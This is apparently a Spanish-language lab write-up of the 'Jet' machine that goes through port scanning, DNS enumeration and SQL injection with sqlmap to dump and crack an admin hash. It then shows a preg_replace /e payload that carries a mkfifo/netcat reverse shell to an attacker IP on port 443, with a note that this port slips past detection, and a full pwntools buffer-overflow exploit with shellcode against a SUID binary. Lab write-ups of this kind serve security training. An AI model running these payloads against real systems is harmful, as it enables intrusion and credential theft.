Jet (puerto 53)

─$ cat nmap-scanep.txt 
# Nmap 7.94SVN scan initiated Sat Jan  4 09:28:49 2025 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -sC -sV -oN nmap-scanep.txt 10.13.37.10
Warning: 10.13.37.10 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.13.37.10
Host is up (0.30s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62:f6:49:80:81:cf:f0:07:0e:5a:ad:e9:8e:1f:2b:7c (RSA)
|   256 54:e2:7e:5a:1c:aa:9a:ab:65:ca:fa:39:28:bc:0a:43 (ECDSA)
|_  256 93:bc:37:b7:e0:08:ce:2d:03:99:01:0a:a9:df:da:cd (ED25519)
53/tcp   open  domain   ISC BIND 9.16.48 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.48-Ubuntu
80/tcp   open  http     nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx on Debian!
|_http-server-header: nginx/1.10.3 (Ubuntu)
2222/tcp open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5555/tcp open  freeciv?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, GenericLines, GetRequest, adbConnect: 
|     enter your name:
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|   NULL: 
|     enter your name:
|   SMBProgNeg: 
|     enter your name:
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name

Tenemos el puerto 53 DNS

  • Antes de empezar con la web, vamos a ver si encontramos algun dominio valido mediante los DNS, ya que el puerto 53 esta abierto.

Ahí encontramos el dominio www.securewebinc.jet, así que lo agregamos al /etc/hosts y lo pondremos en el navegador.

Miramos el código fuente vale, pues si, sí que había algo interesante, si vamos al final nos encontramos con estos dos enlaces, el primero no es demasiado interesante, pero el segundo sí.

Entramos

Pues a primera vista ya vemos un directorio que parece muy interesante: /dirb_safe_dir_rf9EmcEIx/admin/stats.php al cual si le quitamos el stats.php nos redirige a una página de login el cual obviamente vamos a intentar bypassear.

Pero antes de intentar bypassear el login vamos a ver el código fuente del login y ahí nos encontramos con otra flag: JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll}

Vale, una ves hemos mirado el código ya podemos intentar bypassear el login. Como con sqlmap no me ha dejado hacer una sql incection en el panel del login, lo que haré sera capturar la petición con burpsuite, exportarla a un archivo llamado “login” y luego meter el archivo en sqlmap para que pruebe con ella.

Esto nos muetsra el nombre de a bd

┌──(docker㉿docker)-[~/HackBox]
└─$ sqlmap -r login –schema

Esto nos genera los usuarios de la db teniendo como se llama la db

┌──(docker㉿docker)-[~/HackBox]
└─$ sqlmap -r login –D jetadmin --dump

Nos da ese hash, entonces ahora lo tenemos que guardar en un archivo llamado “hash” y lo vamos a romper con john the reaper

┌──(docker㉿docker)-[~/HackBox]
└─$ hashid hash

--File 'hash'--
Analyzing '97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
--End of file 'hash'--                                                                                                        
┌──(docker㉿docker)-[~/HackBox]
└─$ john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 512/512 AVX512BW 16x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Hackthesystem200 (?)     
1g 0:00:00:00 DONE (2025-01-04 10:13) 1.666g/s 18568Kp/s 18568Kc/s 18568KC/s Josiah21..Galgenwaard
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed. 

Ahora tenemos las credenciales: username: admin | password: Hackthesystem200

Introduciendo esas credenciales en el panel de login conseguimos entrar y nos encontramos con esto donde en la sección del chat podremos ver otra flag:

Como no pues vamos a seguir por aqui, que tiene pinta de que todavia se puede explotar mas. Si bajamos e la pagina nos encontramos con un apartado donde podemos mandar email y ya que esto consiste en hackear todo lo que podamos pues tiene pinta de que podremos hacer algo con eso.

Pongamos lo que pongamos nos dará ese error, así que vamos a capturar la petición y ver si podemos cambiar algo.

La data esta urlencodeada por lo que si la decodificamos Crtl + Shift + U veremos lo siguiente:

swearwords[/fuck/e]=system('rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/bash%20-i%202>%261|nc%2010.13.14.13%20443%20>/tmp/f')&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort&swearwords[/asshole/i]=bad+person&to=uwu@uwu.uwu&subject=uwu&message=uwu&_wysihtml5_mode=1

Una vez tenemos la el puerto a la escucha le daremos a Foward en Burpsuite y deberíamos ver lo siguiente en la consola con netcat:

❯ sudo netcat -lvnp 443
Connection received on 10.13.37.10
www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$

PEQUEÑO APUNTE: utilizamos el puerto 443 ya que es común que los servidores web manden información por ese puerto, por lo que al mandar información por ese puerto ciertas medidas de seguridad no se fijen en eso y no lo detecten.

Ya estamos dentro! Asi que ahora al ver que archivos hay nos encontramos con otra flag:

> www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$ ls
a_flag_is_here.txt

> cat a_flag_is_here.txt
JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}

Pues ya que estamos vamos a intetar escalar privilegios, para eso primero miraremos que archivo tienen privilegios SUID:

www-data@jet:~$ find / -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/lib/uncompress.so
/home/leak
/bin/umount
/bin/su
/bin/fusermount
/bin/mount
/bin/ping
/bin/ntfs-3g
/bin/ping6

Vemos el arvhivo /home/leak que parece interesante.

Si lo ejecutamos nos leakeará un poquito de información y nos dara un campo de input:

www-data@jet:~$ /home/leak

Oops, I'm leaking! 0x7ffda13a5490
Pwn me ¯\_(ツ)_/¯ 
>

Vamos a hostear el directorio /home en el puerto 8000:

www-data@jet:/home$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Ahora descargaremos el archivo leak en nuestra maquina:

❯ wget http://10.13.37.10:8000/leak
Grabando a: «leak»
leak                           100%[======================================>]
«leak» guardado [9112/9112]

Ahora con gdb intentaremos conseguir el offset para empezar a hacer un exploit que explote la vulnerabilidad buffer overflow, es decir, que al meterle un input con más caracteres, esos caracteres extra queden por fuera del buffer y se sobreescriban a la información original y así poder inyectar código malicioso.

❯ gdb-peda ./leak

Reading symbols from ./leak...
(No debugging symbols found in ./leak)
(gdb-peda) pattern_create 100 pattern
Writing pattern of 100 chars to filename "pattern"
(gdb-peda) run < pattern
Starting program: ~/leak < pattern
Oops, I'm leaking! 0x7fffffffe600
Pwn me ¯\_(ツ)_/¯ 
> 
Program received signal SIGSEGV, Segmentation fault.
[--------------------------------------------------------------------]
(gdb-peda) x/wx $rsp
0x7fffffffe648: 0x65414149
(gdb-peda) pattern_offset 0x65414149
1698775369 found at offset: 72
(gdb-peda)

Vemos que el ofset es de 72, asi que podemos iniciar el exploit ejecutando el programa y almacenando lo que nos lekea:

shell = process("./leak")
shell.recvuntil(b"Oops, I'm leaking! ")
leaking = int(shell.recvuntil(b"\n"),16)

Para el payload usaremos un shellcode de exploitdb para ejecutar “/bin/sh”, después creando el chunk restandole el total de caracteres del shellcode a el offset, y por ultimo agregando la información que nos lekea al ejecutarlo:

payload = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload += b"A"*(72-len(payload))
payload += p64(leaking)

Por ultimo nos queda que cuando estemos en el input nos queda enviar el payload, exportar la TERM:

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.sendline(b"export HOME=/home/alex TERM=xterm; cd")
shell.interactive()

El exploit/playload se veria asi:

#!/usr/bin/python3
from pwn import *

shell = remote('10.13.37.10', 9999)
shell.recvuntil(b"Oops, I'm leaking! ")

leaking = int(shell.recvuntil(b"\n"),16)

payload = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload += b"A"*(72-len(payload))
payload += p64(leaking)

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.sendline(b"export HOME=/home/alex TERM=xterm; cd")
shell.interactive()

Ahora para exponer el binario, lo haremos con socat por el puerto 9999

www-data@jet:~$ socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/leak &
[1] 7231

Para terminar con esto ya simplemente ejecutamos el exploit y nos dara la shell como el usuario Alex:

Last updated